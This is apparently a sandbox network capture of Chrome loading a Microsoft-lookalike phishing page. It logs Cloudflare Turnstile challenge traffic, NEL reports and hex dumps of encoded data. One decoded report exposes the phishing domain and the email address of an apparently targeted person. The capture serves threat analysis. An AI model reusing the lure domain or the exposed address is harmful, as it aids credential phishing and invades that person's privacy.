2025-01-14 14:23:49 UTC	1369	IN	Data Raw: 44 51 30 49 78 53 55 5a 45 52 6b 46 49 53 48 45 39 55 45 30 73 4e 6d 67 30 53 79 77 37 52 33 77 35 53 48 68 67 50 31 52 6a 58 6c 68 66 57 6e 5a 47 64 58 64 32 67 33 6c 66 57 34 56 2f 68 59 56 79 55 33 47 58 54 49 68 75 57 32 6c 76 6e 58 68 76 6c 57 78 63 5a 6e 32 42 6e 6c 78 6b 6a 4a 5a 6f 65 61 4b 4c 65 6d 70 38 6f 59 69 56 74 34 32 37 74 58 6c 36 69 48 32 4b 6d 73 43 51 76 61 53 75 6b 4b 65 68 74 4a 36 56 72 71 47 2b 78 74 47 6f 6a 59 71 72 6f 62 65 55 79 63 65 71 6e 4c 6a 55 73 70 32 79 32 37 50 69 75 38 48 59 34 4c 7a 6b 76 4c 75 31 7a 4f 72 62 35 37 2f 55 71 75 6a 31 36 76 54 6b 39 2f 76 53 30 76 6a 61 31 2f 79 36 34 4e 66 6d 42 39 54 37 33 76 49 46 36 76 63 4d 37 68 41 4d 43 4d 6e 72 45 67 66 57 47 66 54 71 35 65 7a 75 47 4f 38 5a 32 52 4c 31 2f 42 Data Ascii: DQ0IxSUZERkFISHE9UE0sNmg0Syw7R3w5SHhgP1RjXlhfWnZGdXd2g3lfW4V/hYVyU3GXTIhuW2lvnXhvlWxcZn2BnlxkjJZoeaKLemp8oYiVt427tXl6iH2KmsCQvaSukKehtJ6VrqG+xtGojYqrobeUyceqnLjUsp2y27Piu8HY4LzkvLu1zOrb57/Uquj16vTk9/vS0vja1/y64NfmB9T73vIF6vcM7hAMCMnrEgfWGfTq5ezuGO8Z2RL1/B
2025-01-14 14:23:49 UTC	1369	IN	Data Raw: 4e 54 64 72 50 31 46 6e 5a 7a 35 73 4c 6a 64 70 5a 32 70 78 64 6e 4e 4b 57 31 6c 59 58 49 4e 6a 62 31 46 41 64 59 4a 69 55 33 56 38 52 32 42 4d 66 34 70 6e 6c 57 39 50 67 6d 79 50 5a 6e 64 31 64 47 78 2b 62 34 74 74 58 4a 47 65 66 6d 2b 52 6d 47 4e 38 61 4a 75 6d 67 32 61 5a 61 35 36 49 71 34 4b 54 6b 5a 42 34 64 72 47 6e 69 58 69 74 75 70 71 4c 72 62 52 2f 75 4b 6d 6a 74 49 71 31 72 73 43 4d 71 38 32 6f 71 4a 37 56 30 61 75 69 79 37 6e 50 32 35 69 30 6c 38 7a 59 32 4c 43 6b 35 4b 2f 43 77 72 2f 62 76 39 6a 6d 36 36 75 73 77 64 44 6b 72 4e 4c 53 36 4e 44 33 32 75 6d 75 75 66 44 4c 77 4e 76 38 77 74 76 50 30 76 62 52 31 4e 33 46 2b 2b 4d 44 2b 64 34 44 42 74 2f 52 39 51 48 67 36 50 58 71 34 2f 66 50 47 50 49 53 33 78 59 6b 46 78 54 67 33 66 54 32 2b 79 73 Data Ascii: NTdrP1FnZz5sLjdpZ2pxdnNKW1lYXINjb1FAdYJiU3V8R2BMf4pnlW9PgmyPZnd1dGx+b4ttXJGefm+RmGN8aJumg2aZa56Iq4KTkZB4drGniXitupqLrbR/uKmjtIq1rsCMq82oqJ7V0auiy7nP25i0l8zY2LCk5K/Cwr/bv9jm66uswdDkrNLS6ND32umuufDLwNv8wtvP0vbR1N3F++MD+d4DBt/R9QHg6PXq4/fPGPIS3xYkFxTg3fT2+ys
2025-01-14 14:23:49 UTC	1369	IN	Data Raw: 55 78 6d 4d 45 4d 31 52 46 46 73 54 44 68 71 66 6d 70 32 53 34 42 50 58 57 42 6d 59 56 4b 4a 68 56 39 64 66 6f 74 38 59 49 6d 47 58 59 56 78 63 58 53 4a 55 6e 42 6d 5a 31 78 56 6c 58 6c 74 6f 6e 53 6d 66 6c 35 34 67 33 5a 33 71 71 71 61 65 32 32 53 73 4a 75 4b 6b 5a 47 75 70 37 69 47 71 61 61 58 6a 70 75 66 63 37 75 57 74 59 4f 35 78 37 71 33 68 49 47 59 6d 70 2f 4f 78 6f 6e 4b 79 38 53 2b 78 4b 65 72 72 4a 48 4a 75 37 37 4a 72 74 76 4c 77 64 62 69 78 4e 4c 6d 70 35 75 6a 77 74 32 70 37 63 43 39 71 73 4c 6a 34 2b 32 2f 72 75 50 74 37 4d 33 50 30 76 58 6e 30 39 32 35 30 39 63 44 75 50 4c 51 34 4e 62 38 34 64 6a 6d 2f 75 44 70 37 52 54 55 30 50 45 50 44 75 49 52 31 2f 58 7a 45 2b 37 6f 2f 65 2f 37 41 66 54 63 49 43 6e 6b 33 4f 63 58 4a 66 34 46 35 6a 48 37 Data Ascii: UxmMEM1RFFsTDhqfmp2S4BPXWBmYVKJhV9dfot8YImGXYVxcXSJUnBmZ1xVlXltonSmfl54g3Z3qqqae22SsJuKkZGup7iGqaaXjpufc7uWtYO5x7q3hIGYmp/OxonKy8S+xKerrJHJu77JrtvLwdbixNLmp5ujwt2p7cC9qsLj4+2/ruPt7M3P0vXn092509cDuPLQ4Nb84djm/uDp7RTU0PEPDuIR1/XzE+7o/e/7AfTcICnk3OcXJf4F5jH7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49738	35.190.80.1	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:23:49 UTC	655	OUT	OPTIONS /report/v4?s=gFGxbSlMKml4%2BUN2k4LdJjmQPRi0LwAheFpiMPs5gDEEUj4RNV2SVVvI7PT1s3cqMuBTIDNQ7KDnl4f3UUJwY21ML%2BUixT1be7rgzb8i%2F2ajh%2B%2Fd%2Bh2XrqLzg%2BY8jyP71%2BW9I%2F46xHgGMD2Atw5hyAFisSmlRpM%2FbortnjNYeIwuMlQgj4xgyYJaPkA4kYQ%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://automtionmscroftsecurityactivation-authenic.appfilevault.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:23:49 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Tue, 14 Jan 2025 14:23:49 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49739	35.190.80.1	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:23:50 UTC	552	OUT	POST /report/v4?s=gFGxbSlMKml4%2BUN2k4LdJjmQPRi0LwAheFpiMPs5gDEEUj4RNV2SVVvI7PT1s3cqMuBTIDNQ7KDnl4f3UUJwY21ML%2BUixT1be7rgzb8i%2F2ajh%2B%2Fd%2Bh2XrqLzg%2BY8jyP71%2BW9I%2F46xHgGMD2Atw5hyAFisSmlRpM%2FbortnjNYeIwuMlQgj4xgyYJaPkA4kYQ%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 550 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:23:50 UTC	550	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 32 37 37 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 61 75 74 6f 6d 74 69 6f 6e 6d 73 63 72 6f 66 74 73 65 63 75 72 69 74 79 61 63 74 69 76 61 74 69 6f 6e 2d 61 75 74 68 65 6e 69 63 2e 61 70 70 66 69 6c 65 76 61 75 6c 74 2e 63 6f 6d 2f 34 48 44 52 46 2f 3f 65 3d 6d 61 72 73 68 61 2e 72 6f 77 6c 61 6e 64 40 63 68 65 72 6f 6b 65 65 62 72 69 63 6b 2e 63 6f 6d 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 Data Ascii: [{"age":0,"body":{"elapsed_time":277,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://automtionmscroftsecurityactivation-authenic.appfilevault.com/4HDRF/?e=marsha.rowland@cherokeebrick.com","sampling_fraction":1.0,"server_ip"
2025-01-14 14:23:50 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Tue, 14 Jan 2025 14:23:50 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49741	104.18.94.41	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:23:50 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/382041869:1736860383:ZqPzmwJyJsbA3MpWp2rpI_b9unVV8KTL-u85NFveN8A/901e4933de02c33d/l37FkFdlZ1fSDKFHo2gGYIJyAmHRKJ_5Hm7XdiRi500-1736864627-1.1.1.1-CL9syU60YH1ufmaXKKTjsxTCbjZZey2zOPmXtrtPqEkqR_ygy6Lcl6G0Icj2toKX HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:23:50 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Tue, 14 Jan 2025 14:23:50 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: WDDhaE6krkmVi1wuU2TfjjpLXZBzQh6NRUD9VRYPl5626Sb8ROJp48j7Iq6/3xCXQVwPnm6jEOWTw69ocvpk+A==$2T0bjJSDs+uNJeZGKDXgVA== Server: cloudflare CF-RAY: 901e4944c9e57d08-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 14:23:50 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49742	104.18.95.41	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:23:51 UTC	811	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/901e4933de02c33d/1736864629542/f3a2105560640204554afeb9763f529c968e6bb748fa220deeb455005a9d6a38/XXiGP2ORCXpxusE HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ak6hp/0x4AAAAAAA4sjfoGATNb4gTz/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:23:51 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Tue, 14 Jan 2025 14:23:51 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-01-14 14:23:51 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 38 36 49 51 56 57 42 6b 41 67 52 56 53 76 36 35 64 6a 39 53 6e 4a 61 4f 61 37 64 49 2d 69 49 4e 37 72 52 56 41 46 71 64 61 6a 67 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20g86IQVWBkAgRVSv65dj9SnJaOa7dI-iIN7rRVAFqdajgAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-01-14 14:23:51 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49743	104.18.95.41	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:23:52 UTC	782	OUT	GET /cdn-cgi/challenge-platform/h/b/i/901e4933de02c33d/1736864629544/apPZLrObUQ4dNFA HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ak6hp/0x4AAAAAAA4sjfoGATNb4gTz/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:23:52 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:23:52 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 901e4951b88c0f6c-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 14:23:52 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 19 00 00 00 30 08 02 00 00 00 6b 28 46 ca 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR0k(FIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49744	104.18.94.41	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:23:53 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/901e4933de02c33d/1736864629544/apPZLrObUQ4dNFA HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:23:53 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:23:53 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 901e49558e76ef9f-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 14:23:53 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 19 00 00 00 30 08 02 00 00 00 6b 28 46 ca 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR0k(FIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	49745	104.18.95.41	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:23:53 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/382041869:1736860383:ZqPzmwJyJsbA3MpWp2rpI_b9unVV8KTL-u85NFveN8A/901e4933de02c33d/l37FkFdlZ1fSDKFHo2gGYIJyAmHRKJ_5Hm7XdiRi500-1736864627-1.1.1.1-CL9syU60YH1ufmaXKKTjsxTCbjZZey2zOPmXtrtPqEkqR_ygy6Lcl6G0Icj2toKX HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32527 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: l37FkFdlZ1fSDKFHo2gGYIJyAmHRKJ_5Hm7XdiRi500-1736864627-1.1.1.1-CL9syU60YH1ufmaXKKTjsxTCbjZZey2zOPmXtrtPqEkqR_ygy6Lcl6G0Icj2toKX sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ak6hp/0x4AAAAAAA4sjfoGATNb4gTz/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:23:53 UTC	16384	OUT	Data Raw: 76 5f 39 30 31 65 34 39 33 33 64 65 30 32 63 33 33 64 3d 55 62 56 35 65 76 41 68 6c 5a 62 4b 62 4b 6a 62 41 54 41 5a 4f 34 73 5a 41 30 4b 65 58 4b 25 32 62 35 56 56 76 33 66 4b 31 35 54 47 62 6d 76 4b 64 35 41 31 46 76 38 56 4b 55 76 4b 76 52 54 6d 30 48 4b 6b 35 41 52 5a 4b 50 6a 70 32 4a 56 68 35 41 68 37 4b 66 70 4b 68 37 61 34 6d 59 74 4b 5a 70 6d 61 77 76 2d 6d 4b 41 72 4b 2d 70 68 4b 48 35 54 46 4b 68 35 73 48 4d 46 4b 5a 70 68 4b 5a 35 73 4f 4b 59 35 69 48 6a 6a 54 4b 4b 52 6c 4b 67 66 4b 4b 37 6a 32 42 4b 69 55 63 4b 4b 53 2d 54 64 59 42 50 54 6c 4b 59 66 55 49 33 2d 30 62 4d 56 4b 2d 50 41 5a 70 24 49 48 2d 37 4b 41 65 61 35 56 35 6c 56 66 2d 49 4b 41 6d 5a 5a 70 54 59 7a 6b 64 37 54 70 76 65 75 6f 61 38 6c 41 55 33 53 57 5a 6f 4e 67 75 64 4e 33 Data Ascii: v_901e4933de02c33d=UbV5evAhlZbKbKjbATAZO4sZA0KeXK%2b5VVv3fK15TGbmvKd5A1Fv8VKUvKvRTm0HKk5ARZKPjp2JVh5Ah7KfpKh7a4mYtKZpmawv-mKArK-phKH5TFKh5sHMFKZphKZ5sOKY5iHjjTKKRlKgfKK7j2BKiUcKKS-TdYBPTlKYfUI3-0bMVK-PAZp$IH-7KAea5V5lVf-IKAmZZpTYzkd7Tpveuoa8lAU3SWZoNgudN3
2025-01-14 14:23:53 UTC	16143	OUT	Data Raw: 35 76 38 4b 58 61 61 4b 6e 32 35 64 64 52 76 6c 6d 62 4b 70 35 45 35 5a 56 33 70 69 65 35 74 4b 56 34 73 54 41 2b 54 37 34 69 46 4b 51 70 54 4b 73 4f 4b 55 4b 67 34 73 6a 4b 70 4b 4f 38 41 38 41 50 4b 61 70 41 4e 4b 6c 4b 41 70 41 4b 41 43 35 4b 4b 76 6a 57 4b 5a 4c 73 35 6d 41 4b 79 50 7a 6a 41 31 77 58 5a 37 38 41 62 4b 2d 4b 6d 34 4b 5a 4b 66 70 76 56 41 5a 35 34 35 4b 63 4d 41 4b 66 70 69 56 41 4f 34 6e 35 37 34 41 56 35 49 35 54 54 4b 4b 4b 57 35 73 62 4b 41 4b 72 70 41 4b 4b 32 4b 59 79 6d 4b 6d 73 4b 58 34 4b 62 4b 64 4b 6f 34 41 6a 4b 6c 4b 6b 54 54 34 6d 57 4b 72 70 73 34 76 34 57 67 4b 73 32 63 76 4b 4d 77 7a 66 63 24 4b 32 56 54 30 4b 74 56 6d 67 6a 50 41 49 76 6f 30 6d 35 4b 68 34 33 65 64 68 4b 79 62 49 34 4b 49 4b 57 77 73 67 6b 51 38 49 4b Data Ascii: 5v8KXaaKn25ddRvlmbKp5E5ZV3pie5tKV4sTA+T74iFKQpTKsOKUKg4sjKpKO8A8APKapANKlKApAKAC5KKvjWKZLs5mAKyPzjA1wXZ78AbK-Km4KZKfpvVAZ545KcMAKfpiVAO4n574AV5I5TTKKKW5sbKAKrpAKK2KYymKmsKX4KbKdKo4AjKlKkTT4mWKrps4v4WgKs2cvKMwzfc$K2VT0KtVmgjPAIvo0m5Kh43edhKybI4KIKWwsgkQ8IK
2025-01-14 14:23:53 UTC	322	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:23:53 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26300 Connection: close cf-chl-gen: 5D2i/T5sYKRkIg9/fWtp0V3qu/wrB5vI3U4cdKPsb7cCNLyDAay2XESEXa00MIeM$pQfpX+TLl9tScDt2K8vvXw== Server: cloudflare CF-RAY: 901e49585c8043b8-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 14:23:53 UTC	1047	IN	Data Raw: 55 47 53 53 55 6e 4f 4a 69 46 68 30 65 49 6c 6e 63 6e 5a 65 6c 35 31 79 5a 59 4e 38 63 32 47 48 67 48 65 59 6f 48 31 37 69 6d 6d 4b 64 49 61 6d 63 49 4f 78 73 5a 52 30 73 61 75 66 6e 70 79 41 72 49 4b 66 70 35 6a 4a 79 4d 47 67 76 63 53 2f 6f 36 79 70 70 63 54 48 73 4a 66 5a 31 5a 6a 57 6d 64 53 79 31 37 76 42 75 36 4b 75 76 65 53 79 74 2b 58 6a 76 37 58 45 71 4c 6a 65 36 65 37 45 71 36 37 76 78 73 48 51 38 76 58 76 35 64 7a 4a 2b 2b 7a 66 2b 77 54 7a 34 63 44 38 32 64 7a 6d 42 38 6a 4c 34 66 34 49 45 2b 30 48 7a 68 44 6e 34 66 44 54 7a 51 33 39 44 2f 48 61 33 42 54 67 34 42 49 41 42 39 37 70 38 79 6b 59 2b 4f 34 4c 37 78 30 64 2f 66 34 47 41 67 41 54 4c 41 50 31 45 77 6e 31 2f 42 5a 41 41 6b 55 5a 4e 6b 67 6d 2b 76 73 37 52 45 77 4e 52 41 59 6a 4c 43 59 Data Ascii: UGSSUnOJiFh0eIlncnZel51yZYN8c2GHgHeYoH17immKdIamcIOxsZR0saufnpyArIKfp5jJyMGgvcS/o6yppcTHsJfZ1ZjWmdSy17vBu6KuveSyt+Xjv7XEqLje6e7Eq67vxsHQ8vXv5dzJ++zf+wTz4cD82dzmB8jL4f4IE+0HzhDn4fDTzQ39D/Ha3BTg4BIAB97p8ykY+O4L7x0d/f4GAgATLAP1Ewn1/BZAAkUZNkgm+vs7REwNRAYjLCY
2025-01-14 14:23:53 UTC	1369	IN	Data Raw: 41 6f 33 56 31 6e 48 79 6d 70 4b 6c 76 62 58 4b 78 6e 6e 42 70 6c 72 4b 46 71 70 47 33 6c 70 4f 76 74 5a 61 2f 6c 61 53 53 6a 37 4f 41 67 5a 65 38 68 4b 71 6b 6f 37 6d 45 30 38 6e 53 72 70 62 45 6f 63 4c 4f 6a 73 32 37 33 38 6e 56 76 4b 36 66 77 39 75 39 6f 4b 4b 7a 75 61 58 6f 32 65 36 77 75 75 37 74 77 65 66 6a 79 2b 6a 5a 36 2b 6a 51 75 4e 44 52 39 4e 72 43 76 76 66 5a 34 75 45 4b 30 65 44 68 36 41 30 4a 7a 51 66 50 7a 2b 30 57 33 65 2f 76 35 52 50 35 42 4f 58 36 46 51 2f 64 2b 75 73 6b 45 66 72 63 48 77 6b 63 46 50 6f 48 2f 76 67 6a 42 79 41 4c 44 69 67 54 46 67 73 51 37 78 49 58 4a 68 59 76 46 78 77 62 44 78 4d 65 2f 6a 49 39 4a 68 55 32 43 53 51 4f 4b 56 41 2b 4b 6a 73 54 46 52 38 6e 4d 6b 46 4b 50 43 5a 63 4c 6a 77 36 4c 56 59 5a 4f 78 63 78 52 31 Data Ascii: Ao3V1nHympKlvbXKxnnBplrKFqpG3lpOvtZa/laSSj7OAgZe8hKqko7mE08nSrpbEocLOjs2738nVvK6fw9u9oKKzuaXo2e6wuu7twefjy+jZ6+jQuNDR9NrCvvfZ4uEK0eDh6A0JzQfPz+0W3e/v5RP5BOX6FQ/d+uskEfrcHwkcFPoH/vgjByALDigTFgsQ7xIXJhYvFxwbDxMe/jI9JhU2CSQOKVA+KjsTFR8nMkFKPCZcLjw6LVYZOxcxR1
2025-01-14 14:23:53 UTC	1369	IN	Data Raw: 65 59 6d 76 67 34 47 49 6c 49 4f 51 6c 4a 61 77 65 61 65 75 6c 5a 4f 34 74 5a 61 76 74 5a 6d 59 74 35 6d 62 79 37 61 63 79 6f 43 46 76 61 6a 53 6b 5a 54 57 6a 71 50 54 74 4e 54 59 78 4c 65 55 74 64 53 33 71 72 66 58 75 4e 76 6e 30 37 58 53 34 4d 65 2f 79 73 4c 47 38 75 37 6e 70 73 50 70 39 63 76 33 79 66 76 48 2b 4e 54 63 7a 4f 2f 41 2b 65 7a 78 7a 2f 50 64 79 50 6a 47 78 38 72 6a 41 38 4c 6f 36 39 4d 57 39 51 30 56 30 2b 50 6f 32 39 4c 77 32 74 55 63 46 39 30 53 34 50 50 67 45 77 63 59 34 50 50 30 4c 65 30 63 41 42 30 76 48 79 6f 70 47 43 51 42 45 42 51 33 39 68 4d 31 46 7a 38 4b 46 44 45 35 2f 55 49 30 46 77 45 57 50 6a 59 35 54 7a 68 4c 4c 46 51 30 4a 55 49 4e 4c 54 51 32 4a 6a 42 47 4e 46 64 58 54 6c 4d 64 55 47 46 48 5a 56 51 78 56 44 6c 4b 58 31 77 Data Ascii: eYmvg4GIlIOQlJaweaeulZO4tZavtZmYt5mby7acyoCFvajSkZTWjqPTtNTYxLeUtdS3qrfXuNvn07XS4Me/ysLG8u7npsPp9cv3yfvH+NTczO/A+ezxz/PdyPjGx8rjA8Lo69MW9Q0V0+Po29Lw2tUcF90S4PPgEwcY4PP0Le0cAB0vHyopGCQBEBQ39hM1Fz8KFDE5/UI0FwEWPjY5TzhLLFQ0JUINLTQ2JjBGNFdXTlMdUGFHZVQxVDlKX1w
2025-01-14 14:23:53 UTC	1369	IN	Data Raw: 5a 4f 4d 64 70 65 59 68 62 31 30 71 36 31 33 65 63 47 43 66 58 32 67 66 73 69 41 70 62 32 4a 68 71 75 62 6a 59 71 77 6b 73 6d 64 70 70 2f 4f 6c 72 4c 5a 33 64 53 63 7a 61 75 30 74 4e 6d 77 76 36 50 6e 70 37 79 2f 36 73 48 45 78 63 48 69 77 37 37 66 7a 63 6e 41 78 64 44 76 30 4d 62 55 33 64 6e 48 39 37 33 69 34 39 6a 6a 31 37 37 62 2b 76 4d 45 31 75 58 36 41 51 2f 77 79 41 44 77 37 77 66 53 47 75 45 45 36 67 63 63 2b 42 4c 65 34 52 63 41 37 51 45 44 34 66 59 55 4b 67 6b 4b 34 78 44 71 4c 67 72 72 41 53 6e 2b 43 44 41 79 42 44 45 4d 4e 66 54 37 49 45 45 62 41 66 6f 63 4f 79 67 54 46 43 6f 6f 53 78 55 5a 4f 69 55 61 48 6b 34 68 49 43 59 73 4e 53 67 31 46 44 4e 50 56 78 30 58 4f 44 46 52 4d 6c 78 54 58 56 74 46 61 57 68 48 51 6d 4a 51 61 6e 45 6f 51 44 46 55 Data Ascii: 